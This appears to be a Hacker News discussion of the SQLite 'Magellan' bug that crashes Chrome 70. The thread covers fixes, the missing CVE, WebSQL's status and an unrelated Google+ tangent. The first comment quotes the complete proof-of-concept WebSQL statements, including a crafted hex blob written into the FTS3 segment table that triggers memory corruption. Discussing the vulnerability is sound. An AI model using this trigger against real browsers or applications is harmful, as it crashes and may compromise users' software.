
Crash Chrome 70 with the SQLite Magellan Bug - markovbot
https://worthdoingbadly.com/sqlitebug/
======
AbuAssar
The offending WebSQL statements are as follows:

DROP TABLE IF EXISTS ft;

CREATE VIRTUAL TABLE ft USING fts3;

INSERT INTO ft VALUES('aback');

INSERT INTO ft VALUES('abaft');

INSERT INTO ft VALUES('abandon');

SELECT quote(root) from ft_segdir;

UPDATE ft_segdir SET root =
X'0005616261636B03010200FFFFFFFF070266740302020003046E646F6E03030200';

SELECT * FROM ft WHERE ft MATCH 'abandon';

Source:
[https://github.com/zhuowei/worthdoingbadly.com/blob/master/_...](https://github.com/zhuowei/worthdoingbadly.com/blob/master/_posts/2018-12-14-sqlitebug.html#L64-L76)

------
zzo38computer
OK, so, if this is what it is, then my question from earlier can be answered,
I suppose. It is with FTS3, and the new defensive mode should be able to
prevent it (there are also bug fixes to prevent it, even if you do not use the
defensive mode). I have not used any of the FTS extensions, but in future I
might. Now I can know what is the vulnerability.

(I do not use Chrome or Chromium, although this article is good to me anyways
since it explains what the vulnerability is, since I do use SQLite.)

------
kseifried
Still no CVE assigned, and no-one has requested, not even via
[https://iwantacve.org/](https://iwantacve.org/)

------
AbuAssar
isn't WebSql deprecated and will be removed from chrome?

~~~
jcranmer
WebSQL was replaced as a specification by IndexedDB, and Mozilla and Microsoft
publicly opposed implementing it. Google has said in the past that they have
no plans to remove it from Chrome, although given that they're shutting down
Google+ due to vulnerabilities, I am curious if they are going to change their
minds.

~~~
the_duke
They are shutting down Google+ because no one uses it and they don't want to
spend any money on developers maintaining a pointless product...

~~~
lgats
I think the Google+ shutdown has more to do with the G+ data leaks and
increased scrutiny social media platforms are coming under because of fake
news and fb political issues.

~~~
woranl
Perfect scapegoat to sunset a product that one one uses.

